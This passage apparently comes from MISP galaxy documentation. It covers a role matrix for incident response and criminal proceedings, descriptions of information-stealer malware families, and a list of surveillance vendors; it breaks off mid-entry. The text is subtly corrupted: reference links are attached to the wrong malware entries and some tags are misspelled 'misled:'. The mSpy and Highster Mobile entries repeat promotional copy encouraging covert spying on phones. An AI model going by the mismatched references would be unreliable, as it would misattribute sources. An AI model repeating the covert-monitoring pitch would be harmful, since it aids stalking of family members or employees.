Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]

Communication skills; communication channel

The tag is: misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]"
Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]

Communication skills; communication channel

The tag is: misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]"

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]

Communication skills; communication channel

The tag is: misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]"

Mitigation of an incident - CSIRT - [R]

Well-prepared & well-organised to react promptly in an incident

The tag is: misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [R]"

Mitigation of an incident - CSIRT - [C]

Well-prepared & well-organised to react promptly in an incident

The tag is: misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [C]"

Mitigation of an incident - CSIRT - [I]

Well-prepared & well-organised to react promptly in an incident

The tag is: misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [I]"

Mitigation of an incident - CSIRT - [S]

Well-prepared & well-organised to react promptly in an incident

The tag is: misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [S]"

Conducting the criminal investigation - LEA - [R]

Knowledge of the legal framework; decision-making skills
Conducting the criminal investigation - LEA - [C]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [C]"

Conducting the criminal investigation - LEA - [I]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [I]"

Conducting the criminal investigation - LEA - [S]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [S]"

Conducting the criminal investigation - Prosecutors - [R]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [R]"

Conducting the criminal investigation - Prosecutors - [C]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [C]"

Conducting the criminal investigation - Prosecutors - [I]
Knowledge of the legal framework; decision-making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [I]"

Conducting the criminal investigation - Prosecutors - [S]
Knowledge of the legal framework; decision-making skills
Leading the criminal investigation - Judiciary - [R]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [R]"

Leading the criminal investigation - Judiciary - [C]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [C]"

Leading the criminal investigation - Judiciary - [I]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [I]"

Leading the criminal investigation - Judiciary - [S]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [S]"

Leading the criminal investigation - Prosecutors - [R]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [R]"

Leading the criminal investigation - Prosecutors - [C]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [C]"

Leading the criminal investigation - Prosecutors - [I]
Knowledge of the incident response plan; leadership skills

The tag is: misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [I]"

Leading the criminal investigation - Prosecutors - [S]
Knowledge of the incident response plan; leadership skills
In the case of disagreement, the final say for an investigation - Judiciary - [R]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [R]"

In the case of disagreement, the final say for an investigation - Judiciary - [C]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [C]"

In the case of disagreement, the final say for an investigation - Judiciary - [I]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [I]"

In the case of disagreement, the final say for an investigation - Judiciary - [S]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [S]"

In the case of disagreement, the final say for an investigation - Prosecutors - [R]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [R]"
In the case of disagreement, the final say for an investigation - Prosecutors - [C]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [C]"

In the case of disagreement, the final say for an investigation - Prosecutors - [I]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [I]"

In the case of disagreement, the final say for an investigation - Prosecutors - [S]

Knowledge of the legal framework; decision-making skills

The tag is: misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [S]"

Authorizing the investigation carried out by the LE - LEA - [R]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [R]"

Authorizing the investigation carried out by the LE - LEA - [C]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [C]"

Authorizing the investigation carried out by the LE - LEA - [I]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [I]"
Authorizing the investigation carried out by the LE - LEA - [S]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [S]"

Authorizing the investigation carried out by the LE - Judiciary - [R]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [R]"

Authorizing the investigation carried out by the LE - Judiciary - [C]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [C]"

Authorizing the investigation carried out by the LE - Judiciary - [I]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [I]"

Authorizing the investigation carried out by the LE - Judiciary - [S]

Decision-making in the criminal procedure

The tag is: misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [S]"

Authorizing the investigation carried out by the LE - Prosecutors - [R]

Decision-making in the criminal procedure
Authorizing the investigation carried out by the LE - Prosecutors - [C]

Decision-making in the criminal procedure

Authorizing the investigation carried out by the LE - Prosecutors - [I]

Decision-making in the criminal procedure

Authorizing the investigation carried out by the LE - Prosecutors - [S]

Decision-making in the criminal procedure

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [R]

Fundamental rights in criminal investigations and prosecutions

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [C]

Fundamental rights in criminal investigations and prosecutions
Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]"

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]"

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]"

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]"

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]"

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [S]

Fundamental rights in criminal investigations and prosecutions
Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [C]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]"
Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]"

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]"

Systems recovery - CSIRT - [R]

Technical skills

The tag is: misp-galaxy:sod-matrix="Systems recovery - CSIRT - [R]"
Systems recovery - CSIRT - [C]

Technical skills

The tag is: misp-galaxy:sod-matrix="Systems recovery - CSIRT - [C]"

Systems recovery - CSIRT - [I]

Technical skills

The tag is: misp-galaxy:sod-matrix="Systems recovery - CSIRT - [I]"

Systems recovery - CSIRT - [S]

Technical skills

The tag is: misp-galaxy:sod-matrix="Systems recovery - CSIRT - [S]"

Protecting the constituency - CSIRT - [R]

Drafting and establishing procedures; technical knowledge

The tag is: misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [R]"

Protecting the constituency - CSIRT - [C]

Drafting and establishing procedures; technical knowledge

The tag is: misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [C]"

Protecting the constituency - CSIRT - [I]

Drafting and establishing procedures; technical knowledge

The tag is: misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [I]"

Protecting the constituency - CSIRT - [S]

Drafting and establishing procedures; technical knowledge

The tag is: misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [S]"

Preventing and containing IT incidents from a technical point of view - CSIRT - [R]

Technical skills pertaining to system administration, network administration, technical support or
Preventing and containing IT incidents from a technical point of view - CSIRT - [C]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

Preventing and containing IT incidents from a technical point of view - CSIRT - [I]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

Preventing and containing IT incidents from a technical point of view - CSIRT - [S]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

Analysis and interpretation of collected evidence - LEA - [R]

Criminalistics, digital forensics, admissible evidence

Analysis and interpretation of collected evidence - LEA - [C]

Criminalistics, digital forensics, admissible evidence
Analysis and interpretation of collected evidence - LEA - [I]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [I]"

Analysis and interpretation of collected evidence - LEA - [S]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [S]"

Analysis and interpretation of collected evidence - Judiciary - [R]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [R]"

Analysis and interpretation of collected evidence - Judiciary - [C]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [C]"

Analysis and interpretation of collected evidence - Judiciary - [I]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [I]"

Analysis and interpretation of collected evidence - Judiciary - [S]
Criminalistics, digital forensics, admissible evidence
The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [S]"
Analysis and interpretation of collected evidence - Prosecutors - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [R]"

Analysis and interpretation of collected evidence - Prosecutors - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [C]"

Analysis and interpretation of collected evidence - Prosecutors - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [I]"

Analysis and interpretation of collected evidence - Prosecutors - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [S]"

Requesting testimonies from CSIRTs and LE - Judiciary - [R]

Testimonies in a criminal trial

The tag is: misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [R]"

Requesting testimonies from CSIRTs and LE - Judiciary - [C]

Testimonies in a criminal trial
Requesting testimonies from CSIRTs and LE - Judiciary - [I]

Testimonies in a criminal trial

Requesting testimonies from CSIRTs and LE - Judiciary - [S]

Testimonies in a criminal trial

Requesting testimonies from CSIRTs and LE - Prosecutors - [R]

Testimonies in a criminal trial

Requesting testimonies from CSIRTs and LE - Prosecutors - [C]

Testimonies in a criminal trial

Requesting testimonies from CSIRTs and LE - Prosecutors - [I]

Testimonies in a criminal trial

Requesting testimonies from CSIRTs and LE - Prosecutors - [S]

Testimonies in a criminal trial
Admitting and assessing the evidence - Judiciary - [R]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [R]"

Admitting and assessing the evidence - Judiciary - [C]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [C]"

Admitting and assessing the evidence - Judiciary - [I]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [I]"

Admitting and assessing the evidence - Judiciary - [S]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [S]"

Admitting and assessing the evidence - Prosecutors - [R]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [R]"

Admitting and assessing the evidence - Prosecutors - [C]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [C]"

Admitting and assessing the evidence - Prosecutors - [I]
Evidence in a criminal trial
The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [I]"
Admitting and assessing the evidence - Prosecutors - [S]

Evidence in a criminal trial

The tag is: misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [S]"

Judging who committed a crime - Judiciary - [R]

Technical knowledge and knowledge of the legal framework

The tag is: misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [R]"

Judging who committed a crime - Judiciary - [C]

Technical knowledge and knowledge of the legal framework

The tag is: misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [C]"

Judging who committed a crime - Judiciary - [I]

Technical knowledge and knowledge of the legal framework

The tag is: misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [I]"

Judging who committed a crime - Judiciary - [S]

Technical knowledge and knowledge of the legal framework

The tag is: misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [S]"

Assessing incident damage and cost - CSIRT - [R]

Evaluation skills

The tag is: misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [R]"

Assessing incident damage and cost - CSIRT - [C]

Evaluation skills

The tag is: misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [C]"

Assessing incident damage and cost - CSIRT - [I]

Evaluation skills
Assessing incident damage and cost - CSIRT - [S]
Evaluation skills

Assessing incident damage and cost - LEA - [R]
Evaluation skills

Assessing incident damage and cost - LEA - [C]
Evaluation skills

Assessing incident damage and cost - LEA - [I]
Evaluation skills

Assessing incident damage and cost - LEA - [S]
Evaluation skills

Assessing incident damage and cost - Judiciary - [R]
Evaluation skills

Assessing incident damage and cost - Judiciary - [C]
Evaluation skills

Assessing incident damage and cost - Judiciary - [I]
Evaluation skills
Assessing incident damage and cost - Judiciary - [S]
Evaluation skills

Assessing incident damage and cost - Prosecutors - [R]
Evaluation skills

Assessing incident damage and cost - Prosecutors - [C]
Evaluation skills

Assessing incident damage and cost - Prosecutors - [I]
Evaluation skills

Assessing incident damage and cost - Prosecutors - [S]
Evaluation skills

Reviewing the response and update policies and procedures - CSIRT - [R]
Knowledge how to draft an incident response and procedures

Reviewing the response and update policies and procedures - CSIRT - [C]
Knowledge how to draft an incident response and procedures
Reviewing the response and update policies and procedures - CSIRT - [I]

Knowledge how to draft an incident response and procedures

The tag is: misled:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [I]"

Reviewing the response and update policies and procedures - CSIRT - [S]

Knowledge how to draft an incident response and procedures

The tag is: misled:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [S]"

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

**authors**

raw-data

Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: misled:stealer="Nocturnal Stealer"

View relationships graph

Nocturnal Stealer has relationships with:

- similar: misled:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 11028. Table References
### TeleGrab

The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.

The tag is: `misp-galaxy:stealer="TeleGrab"`

### AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.

The tag is: `misp-galaxy:stealer="AZORult"`

### Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: `misp-galaxy:stealer="Vidar"`
Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: `misp-galaxy:stealer="Ave Maria"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar</a></td>
</tr>
</tbody>
</table>

HackBoss

A cryptocurrency-stealing malware distributed through Telegram

The tag is: `misp-galaxy:stealer="HackBoss"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.yoroi.company/research/the-ave_maria-malware/">https://blog.yoroi.company/research/the-ave_maria-malware/</a></td>
</tr>
</tbody>
</table>

Prynt Stealer

Prynt Stealer is an information stealer that has the ability to capture credentials that are stored on a compromised system including web browsers, VPN/FTP clients, as well as messaging and gaming applications. Its developer based the malware code on open source projects including AsyncRAT and StormKitty. Prynt Stealer uses Telegram to exfiltrate data that is stolen from victims. Its author added a backdoor Telegram channel to collect the information stolen by other criminals.

The tag is: `misp-galaxy:stealer="Prynt Stealer"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram/">https://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram/</a></td>
</tr>
<tr>
<td><a href="https://github.com/avast/ioc/tree/master/HackBoss">https://github.com/avast/ioc/tree/master/HackBoss</a></td>
</tr>
</tbody>
</table>

Prynt Stealer has relationships with:

- variant-of: `misp-galaxy:stealer="DarkEye"` with `estimative-language:likelihood-probability="very-likely"`
- variant-of: `misp-galaxy:stealer="WorldWind"` with `estimative-language:likelihood-probability="very-likely"`
DarkEye

Nearly identical to Prynt Stealer with a few differences. DarkEye is not sold or mentioned publicly, however, it is bundled as a backdoor with a “free” Prynt Stealer builder.

The tag is: misp-galaxy:stealer="DarkEye"

WorldWind

Prynt Stealer variant that appear to be written by the same author. It is nearly identical to Prynt Stealer with a few minor differences. While Prynt Stealer is the most popular brand name for selling the malware, WorldWind payloads are the most commonly observed in-the-wild.

The tag is: misp-galaxy:stealer="WorldWind"
**DarkCloud Stealer**

Stealer is written in Visual Basic.

The tag is: `misp-galaxy:stealer="DarkCloud Stealer"`

View relationships graph

DarkCloud Stealer has relationships with:

- variant-of: `misp-galaxy:malpedia="BluStealer"` with `estimative-language:likelihood-probability="very-likely"

Table 11037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud</a></td>
</tr>
<tr>
<td><a href="https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/">https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/</a></td>
</tr>
</tbody>
</table>

**Album Stealer**

The Zscaler ThreatLabz research team has spotted a new information stealer named Album. Album Stealer is disguised as a photo album that drops decoy adult images while performing malicious activity in the background. The threat group launching these attacks may be located in Vietnam.

The tag is: `misp-galaxy:stealer="Album Stealer"`

Table 11038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers">https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers</a></td>
</tr>
</tbody>
</table>

**Rhadamanthys**

According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.

The tag is: `misp-galaxy:stealer="Rhadamanthys"`

Table 11039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88">https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/">https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/</a></td>
</tr>
<tr>
<td><a href="https://www.malware-traffic-analysis.net/2023/01/03/index.html">https://www.malware-traffic-analysis.net/2023/01/03/index.html</a></td>
</tr>
</tbody>
</table>
Sordeal-Stealer

Python-based Stealer including Discord, Steam...

The tag is: `misp-galaxy:stealer="Sordeal-Stealer"`

Sordeal-Stealer is also known as:

- Sordeal
- Sordeal Stealer

Table 11040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SOrdeal/Sordeal-Stealer">https://github.com/SOrdeal/Sordeal-Stealer</a></td>
</tr>
</tbody>
</table>

Surveillance Vendor

List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services.

Surveillance Vendor is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Various

Kape Technologies

Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel's NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.

The tag is: `misp-galaxy:surveillance-vendor="Kape Technologies"`

Kape Technologies is also known as:

- Kape
Crossrider

Table 11041. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### NSO group

NSO Group Technologies is an Israeli technology firm known for its Pegasus spyware enabling the remote surveillance of smartphones. It was founded in 2010 by Niv Carmi, Omri Lavie, and Shalev Hulio. It reportedly employed almost 500 people as of 2017, and is based in Herzliya, near Tel Aviv.

The tag is: `misp-galaxy:surveillance-vendor="NSO group"`

Table 11042. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Hacking Team

Hacking Team is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though Hacking Team states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries outside Europe. Hacking Team employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.

The tag is: `misp-galaxy:surveillance-vendor="Hacking Team"`

Hacking Team is also known as:

- Memento Labs

Table 11043. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Hacking_Team">https://en.wikipedia.org/wiki/Hacking_Team</a></td>
</tr>
</tbody>
</table>
**Gamma Group**

Gamma Group is an Anglo-German technology company that sells surveillance software to governments and police forces around the world. The company has been strongly criticised by human rights organisations for selling its FinFisher software to undemocratic regimes such as Egypt and Bahrain.

The tag is: `misp-galaxy:surveillance-vendor="Gamma Group"`

Gamma Group is also known as:

- Gamma International

*Table 11044. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Gamma_Group">https://en.wikipedia.org/wiki/Gamma_Group</a></td>
</tr>
</tbody>
</table>

**FlexiSPY**

Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.

The tag is: `misp-galaxy:surveillance-vendor="FlexiSPY"`

**mSpy**

mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children's online activity. Using mSpy is easy — just download and install a hidden app on your child's phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child's device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child's device on a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don't know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.

The tag is: `misp-galaxy:surveillance-vendor="mSpy"`

*Table 11045. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bestphonespy.com/mspy-review/">https://www.bestphonespy.com/mspy-review/</a></td>
</tr>
</tbody>
</table>
**Highster Mobile**

Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.

The tag is: *misp-galaxy:surveillance-vendor="Highster Mobile"*

---

**Mobile Spy**

Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You'll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.

The tag is: *misp-galaxy:surveillance-vendor="Mobile Spy"*

---

**Hoverwatch**

Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.

The tag is: *misp-galaxy:surveillance-vendor="Hoverwatch"*

---

**MobiStealth**

MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in
